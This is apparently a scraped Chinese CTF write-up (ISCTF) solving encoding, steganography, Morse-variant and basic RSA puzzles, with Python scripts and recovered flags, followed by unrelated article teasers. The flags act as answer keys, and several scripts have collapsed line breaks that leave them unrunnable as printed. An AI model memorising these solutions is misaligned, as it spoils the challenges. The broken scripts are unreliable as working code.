for i in tqdm(range(0, 256)):tempi = hex(i)[2:]if len(tempi) == 1:tempi = '0' + tempitempi = binascii.a2b_hex(tempi)for j in range(0, 256):tempj = hex(j)[2:]if len(tempj) == 1:tempj = '0' + tempjtempj = binascii.a2b_hex(tempj)for k in range(0, 256):tempk = hex(k)[2:]if len(tempk) == 1:tempk = '0' + tempktempk = binascii.a2b_hex(tempk)fcrc = binascii.crc32(tempi + tempj + tempk)if fcrc in fcrc_fnames:fcrc_value[fcrc] = tempi + tempj + tempkprint(f'总crc个数:{len(fcrc_fnames)},破解成功个数:{len(fcrc_value)}')result = {}
print('正在将结果编码:')
for fcrc in tqdm(fcrc_value):for fname in fcrc_fnames[fcrc]:result[fname] = fcrc_value[fcrc].decode()print('编码结果:')
for i in range(0, len(result)):print(result[f'{i}.txt'], end='')

跑出来的结果

大写的乌壹大写的资大写的喔大写的日大写的佛大写的资大写的佛大写的巫基得大写的讷大写的迂大写的鹅伍日大写的特大写的巫坡讷大写的摸大写的乌伍陆啊叁大写的日大写的喔大写的日大写的哥得肆大写的特大写的乌大写的摸巫大写的摸大写的佛坡大写的鹅大写的欺大写的特大写的迂大写的摸大写的迂大写的哥希坡大写的巫勒得大写的日得大写的佛勒大写的希大写的日大写的希喝大写的喔大写的迂零大写的资坡大写的巫大写的迂大写的日科啊零壹大写的乌大写的日摸特摸大写的乌大写的特零玖

根据谐音的字母排序,歪肯定是对应y

又是借用大佬的脚本

# -*- coding: GB2312 -*-
import base64conversion_table = {'A': '大写的啊','B': '大写的玻','C': '大写的雌','D': '大写的得','E': '大写的鹅','F': '大写的佛','G': '大写的哥','H': '大写的喝','I': '大写的衣','J': '大写的基','K': '大写的科','L': '大写的勒','M': '大写的摸','N': '大写的讷','O': '大写的喔','P': '大写的坡','Q': '大写的欺','R': '大写的日','S': '大写的思','T': '大写的特','U': '大写的乌','V': '大写的迂','W': '大写的巫','X': '大写的希','Y': '大写的衣','Z': '大写的资','a': '啊','b': '玻','c': '雌','d': '得','e': '鹅','f': '佛','g': '哥','h': '喝','i': '衣','j': '基','k': '科','l': '勒','m': '摸','n': '讷','o': '喔','p': '坡','q': '欺','r': '日','s': '思','t': '特','u': '乌','v': '迂','w': '巫','x': '希','y': '衣','z': '资',
}
numbers = {'0':'零','1':'壹', '2':'贰', '3':'叁', '4':'肆', '5':'伍', '6':'陆', 7:'柒', '8':'捌', '9':'玖'}
table=dict([val,key] for key,val in conversion_table.items())
numbers=dict([val,key] for key,val in numbers.items())
# print(table[])
test="大写的乌壹大写的资大写的喔大写的日大写的佛大写的资大写的佛大写的巫基得啊大写的迂大写的哥思壹大写的特勒得啊啊零伍大写的喝大写的特大写的希大写的日大写的喔大写的日大写的鹅大写的鹅歪大写的特零大写的摸巫大写的摸大写的佛勒欺大写的思大写的特大写的佛大写的摸大写的迂零大写的资特大写的特大写的巫壹大写的基得大写的鹅壹大写的希大写的特大写的特大写的基大写的喔大写的日大写的哥大写的日欺大写的特大写的迂大写的日喔玻大写的乌零歪大写的巫摸勒摸大写的乌大写的特零玖"for key in table:test=test.replace(key, table[key])
for key in numbers:test = test.replace(key,str(numbers[key]))
for key in numbers:test = test.replace("歪", "y")  #这个地方比较特殊,在读音里面有两个衣#print(test)
# print(test,conversion_table)
print(test)
print(base64.b64decode(base64.b64decode(test)))

得到flag

小猫

png图片使用stegsolve查看

发现数组坐标

(3,2),(3,2),(3,2),(3,3),(3,1),(3,2),(2,1)
(3,2),(4,2),(4,2),(3,3),(2,1),(3,2),(2,1)
(3,2),(4,1),(3,2),(2,1),(4,1),(2,1),(4,1)
(2,3),(4,1),(2,2),(3,2),(3,2),(3,2),(1,2)
(4,1),(4,1),(3,2),(1,2),(4,1),(1,1),(3,2)
(3,2),(4,1),(3,1),(4,1),(4,1),(4,1),(2,3)
(4,1),(3,1),(4,1),(2,2),(4,1),(1,2),(4,1)
(1,3),(3,2),(1,2),(4,1),(1,1),(4,1),(3,1)
(4,1),(2,3),(4,1),(4,2),(4,1),(3,2),(4,1)
(4,2),(3,2),(1,2),(3,2),(3,1),(3,2),(3,2)
(4,1),(4,2),(4,1),(3,2),(4,1),(3,2),(4,2)
(4,3),(4,2)

然后在BGR处发现一个新图片

删掉前边的32fd后打开图片

联想到社会主义核心价值观编码

将坐标一一转换

利用脚本

postion = '''(3,2),(3,2),(3,2),(3,3),(3,1),(3,2),(2,1)
(3,2),(4,2),(4,2),(3,3),(2,1),(3,2),(2,1)
(3,2),(4,1),(3,2),(2,1),(4,1),(2,1),(4,1)
(2,3),(4,1),(2,2),(3,2),(3,2),(3,2),(1,2)
(4,1),(4,1),(3,2),(1,2),(4,1),(1,1),(3,2)
(3,2),(4,1),(3,1),(4,1),(4,1),(4,1),(2,3)
(4,1),(3,1),(4,1),(2,2),(4,1),(1,2),(4,1)
(1,3),(3,2),(1,2),(4,1),(1,1),(4,1),(3,1)
(4,1),(2,3),(4,1),(4,2),(4,1),(3,2),(4,1)
(4,2),(3,2),(1,2),(3,2),(3,1),(3,2),(3,2)
(4,1),(4,2),(4,1),(3,2),(4,1),(3,2),(4,2)
(4,3),(4,2)'''.split("\n")data = [["富强","民主","文明","和谐"],["自由","平等","公正","法治"],["爱国","敬业","诚信","友善"]]print("\n".join(["".join([data[k-1][j-1] for j,k  in list(eval(i)) ]) for i in postion]))

就得到了

公正公正公正诚信文明公正民主
公正法治法治诚信民主公正民主
公正和谐公正民主和谐民主和谐
敬业和谐平等公正公正公正自由
和谐和谐公正自由和谐富强公正
公正和谐文明和谐和谐和谐敬业
和谐文明和谐平等和谐自由和谐
爱国公正自由和谐富强和谐文明
和谐敬业和谐法治和谐公正和谐
法治公正自由公正文明公正公正
和谐法治和谐公正和谐公正法治
友善法治

解码即可得到flag

Crypto

夹里夹气

题目

嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤?嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤

嘤嘤嘤替换为 -

嘤嘤?替换为.

就得到了

.. ... -.-. - ..-. ----.-- .... ... -... -.. .... ..--.- ... ..-. .--- ..--.- .--- -.. -. ..-. .--- ..--.- -.. .--- -. ..-. .--- -.. -- -----.-s

一眼摩斯密码,解密就得到了flag

转换一下

得到flag

ISCTF{HSBDH_SFJ_JDNFJ_DJNFJDM}

easy_rsa

题目

你知道RSA的计算过程吗?
p=139744621266581284555301262509839742287349250409968703559081131232028924574561465768537643954928975481131355695687821012120490469005849145370624021549563652016543819238953037735482786294980123822036132614786850832066081704071615452263800051571853424753377904379848921799252996540245924266574230538558285742471
q=166495578748657854875237396069719295055448002754511883152125418561612611244017570110302773275437442022833722928258959000453627886016724285261001021493956977308452313495539853200240139966559029669154358433442980383189659342966998757607507977694433417547446337797754297431944215445741316720552642069422325184567
e=65537
c=17340021486214760389213758208588141127072486699272982410728163153401602395394464414919460177536802418266590027396961488858340991431268260733301955692277550978018123655702861855641782876680958276856499856079990782814550095512842172546462662651849234511968949790122961975823510636593490127183196460556566702823844240843409530810477077191235944238007848708049098241404482488338200425454968055209868379192089566433646332422458398997077449909634990973131210874996164136839543113590193936487789922528083407018996308707492837933253938012365528276750648018182426246833564761574591278308627246085238205159221848375550149778386

跑一下

import gmpy2
from Crypto.Util.number import long_to_bytese = 65537
p = 139744621266581284555301262509839742287349250409968703559081131232028924574561465768537643954928975481131355695687821012120490469005849145370624021549563652016543819238953037735482786294980123822036132614786850832066081704071615452263800051571853424753377904379848921799252996540245924266574230538558285742471
q = 166495578748657854875237396069719295055448002754511883152125418561612611244017570110302773275437442022833722928258959000453627886016724285261001021493956977308452313495539853200240139966559029669154358433442980383189659342966998757607507977694433417547446337797754297431944215445741316720552642069422325184567
c = 17340021486214760389213758208588141127072486699272982410728163153401602395394464414919460177536802418266590027396961488858340991431268260733301955692277550978018123655702861855641782876680958276856499856079990782814550095512842172546462662651849234511968949790122961975823510636593490127183196460556566702823844240843409530810477077191235944238007848708049098241404482488338200425454968055209868379192089566433646332422458398997077449909634990973131210874996164136839543113590193936487789922528083407018996308707492837933253938012365528276750648018182426246833564761574591278308627246085238205159221848375550149778386
n=p*q
phi_n=(p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(long_to_bytes(m))

得到flag

rsa_d

题目

你知道RSA的计算过程吗?
p=94404481
q=40152251
e=65537
d=?

跑一下

p=
q=
e=import gmpy2
n=p*q
phi = (p-1)*(q-1)
d=gmpy2.invert(e,phi)
print(d)

得到d

输入计算即可

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/660279.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

web项目部署,一篇就搞定!

web部署的方式有很多&#xff0c;根据开发方式不同&#xff0c;部署方式也不同。最通用是docker部署&#xff0c;这个想必大家都熟悉。我们今天说另外一种。 部署过程 1、验证Jdk是否安装成功 2、验证Tomcat是否安装成功 3、验证Navicat 是否能连上数据库 4、创建数据库并导入…

JVM篇----第十八篇

系列文章目录 文章目录 系列文章目录前言一、什么是Java虚拟机?为什么Java被称作是“平台无关的编程语言”?二、对象分配规则三、描述一下JVM加载class文件的原理机制?前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到…

【网络安全】2024年暗网威胁分析及发展预测

暗网因其非法活动而臭名昭著&#xff0c;现已发展成为一个用于各种非法目的的地下网络市场。 它是网络犯罪分子的中心&#xff0c;为被盗数据交易、黑客服务和邪恶活动合作提供了机会。为了帮助企业组织更好地了解暗网发展形势&#xff0c;近日&#xff0c;卡巴斯基的安全研究…

FCIS 2023:洞悉网络安全新前沿,引领未来安全创新狂潮

在数字化浪潮席卷全球的今天&#xff0c;网络安全问题愈发凸显其重要性。 FCIS 2023网络安全创新大会作为业界瞩目的盛会&#xff0c;不仅汇聚了国际顶尖的网络安全专家&#xff0c;更展示了最前沿的安全技术与研究成果。那么&#xff0c;参与这场大会&#xff0c;我们究竟能学…

2023年度统计DDoS攻击峰值暴增,如何选择合适的防护方式将为2024年的重点(DexunCloud)

进入 2024 年&#xff0c;发布了最新的 2023 年第三、四季度&#xff08;Q3-Q4&#xff09; DDoS 攻击趋势报告&#xff0c;指出 DDoS 攻击的规模和复杂性都有了惊人增长。 DexunCloud发现过去三年&#xff0c;DDoS 峰值攻击流量每年的增幅都超过了 100%&#xff0c;2021 年 D…

Sui主网升级至V1.17.3版本

Sui主网现已升级至V1.17.3版本&#xff0c;同时Sui协议升级至35版本。 其他升级要点如下所示&#xff1a; #15790 增加了一个选项&#xff0c;用于在开发审查时返回原始交易数据。 #15690 引入了对传统数据库快照时无需许可下载的支持。一个示例用法是sui-tool download-d…

从零开始学Linux之gcc命令

首先我们需要知道有两种编程语言 编译型语言&#xff1a;要求必须提前将所有源代码一次性转换成二进制指令&#xff0c;也就是生成一个可执行程序&#xff0c;例如C、C、go语言、汇编语言等&#xff0c;使用的转换工具称为编译器。 解释型语言&#xff1a;一边执行一边转换&a…

【2024全网最详细】Google 搜索命令终极指南

&#x1f482; 个人网站:【 海拥】【神级代码资源网站】【办公神器】&#x1f91f; 基于Web端打造的&#xff1a;&#x1f449;轻量化工具创作平台&#x1f485; 想寻找共同学习交流的小伙伴&#xff0c;请点击【全栈技术交流群】 你是否尝试过使用 Google 搜索作为免费的 SEO …

结构体的学习

结构体与共用体&#xff0c;枚举 1.数据类型复习&#xff1a; 2结构体. eg&#xff1b;统计全校同学信息 需要记录的点--- 姓名&#xff0c;班级&#xff0c;性别&#xff0c;成绩&#xff0c;年龄 统计名字&#xff1a;char s[ ] [ 100 ] { "Tmo" } …

VRRP负载平衡

1.构图 2.实验 2.1如图提示配置pc1-pc4 掩码:255.255.255.0网关均设置为192.168.1(\2).254 2.2配置sw1-sw2 [sw1]port-group 1 //创建接口组&#xff0c;组号是1[sw1-port-group 1]group-member gigabitethernet 0/0/1 to gigabitethernet 0/0/3 //添加组成员&#xff0c;从…

springboot142新冠病毒密接者跟踪系统

新冠病毒密接者跟踪系统设计与实现 摘 要 信息数据从传统到当代&#xff0c;是一直在变革当中&#xff0c;突如其来的互联网让传统的信息管理看到了革命性的曙光&#xff0c;因为传统信息管理从时效性&#xff0c;还是安全性&#xff0c;还是可操作性等各个方面来讲&#xff…

有源滤波装置在电能质量生物制药行业中的应用

上海安科瑞电气股份有限公司 胡冠楠 咨询家&#xff1a;“Acrelhgn”&#xff0c;了解更多产品资讯 摘要&#xff1a;随着电子设备大量的使用&#xff0c;非线性负荷越来越多&#xff0c;企业电力网的谐波污染问题也越来越严重&#xff0c;由于谐波的不良作用恶化电能质量&…

【鸿蒙】大模型对话应用(三):跨Ability跳转页面

Demo介绍 本demo对接阿里云和百度的大模型API&#xff0c;实现一个简单的对话应用。 DecEco Studio版本&#xff1a;DevEco Studio 3.1.1 Release HarmonyOS SDK版本&#xff1a;API9 关键点&#xff1a;ArkTS、ArkUI、UIAbility、网络http请求、列表布局、层叠布局 页面跳…

C#用正则表达式判断字符串是否纯数字vs用Char.IsDigit 方法遍历字符数组是否纯数字

目录 一、使用的方法 1.正则表达式 2.Char.IsDigit 方法 二、源码 1.源代码 2.生成效果 一、使用的方法 1.正则表达式 在程序运行过程中&#xff0c;经常需要用户输入数字信息&#xff0c;如输入员工年龄、工资等。使用正则表达式Regex类的IsMatch方法&#xff0c;可以有…

产业热点 | 从 Vision Pro 发售,洞见空间计算时代新机遇

*图源&#xff1a;Apple 官网 近日首批 Vision Pro 启动预约发售&#xff0c;短短一周就预估售出 20 万台&#xff0c;如今正式发售在即&#xff0c;再度受到各界的热切关注。 *图源&#xff1a;Apple 官网 同样作为空间计算赛道企业&#xff0c;ALVA Systems 在过去十余年始…

ubuntu20配置mysql8

首先更新软件包索引运行 sudo apt update命令。然后运行 sudo apt install mysql-server安装MySQL服务器。 安装完成后&#xff0c;MySQL服务将作为systemd服务自动启动。你可以运行 sudo systemctl status mysql命令验证MySQL服务器是否正在运行。 连接MySQL 当MySQL安装…

【免费分享】数据可视化-银行动态实时大屏监管系统,含源码

一、动态效果展示 1. 动态实时更新数据效果图 ​ 2. 鼠标右键切换主题 二、确定需求方案 1. 屏幕分辨率 这个案例的分辨率是16:9&#xff0c;最常用的的宽屏比。 根据电脑分辨率屏幕自适应显示&#xff0c;F11全屏查看&#xff1b; 2. 部署方式 B/S方式&#xff1a;支持…

SpringBoot+Redis如何实现用户输入错误密码后限制登录(含源码)

点击下载《SpringBootRedis如何实现用户输入错误密码后限制登录&#xff08;含源码&#xff09;》 1. 引言 在当今的网络环境中&#xff0c;保障用户账户的安全性是非常重要的。为了防止暴力破解和恶意攻击&#xff0c;我们需要在用户尝试登录失败一定次数后限制其登录。这不…

【开发实践】python使用 moviepy实现mp4转gif(含可视化界面)

一、分析介绍 MoviePy是一个用于视频编辑和处理的Python库。它提供了一种简单而直观的方式来创建、编辑和合成视频&#xff0c;同时也支持添加音频和图像。 以下是MoviePy的一些主要功能和用法示例&#xff1a; 创建视频剪辑&#xff1a; from moviepy.editor import VideoFi…

如何做好多平台内容营销?媒介盒子分享

随着社交媒体不断多元化&#xff0c;内容营销逐渐发展出了新趋势&#xff0c;那就是跨平台内容营销。互联网平台相对封闭&#xff0c;平台的运营偏好也会吸引不同社区的粉丝聚集&#xff0c;造就其不同的品牌人格&#xff0c;然后用户个体需求极其复杂&#xff0c;兴趣也在不断…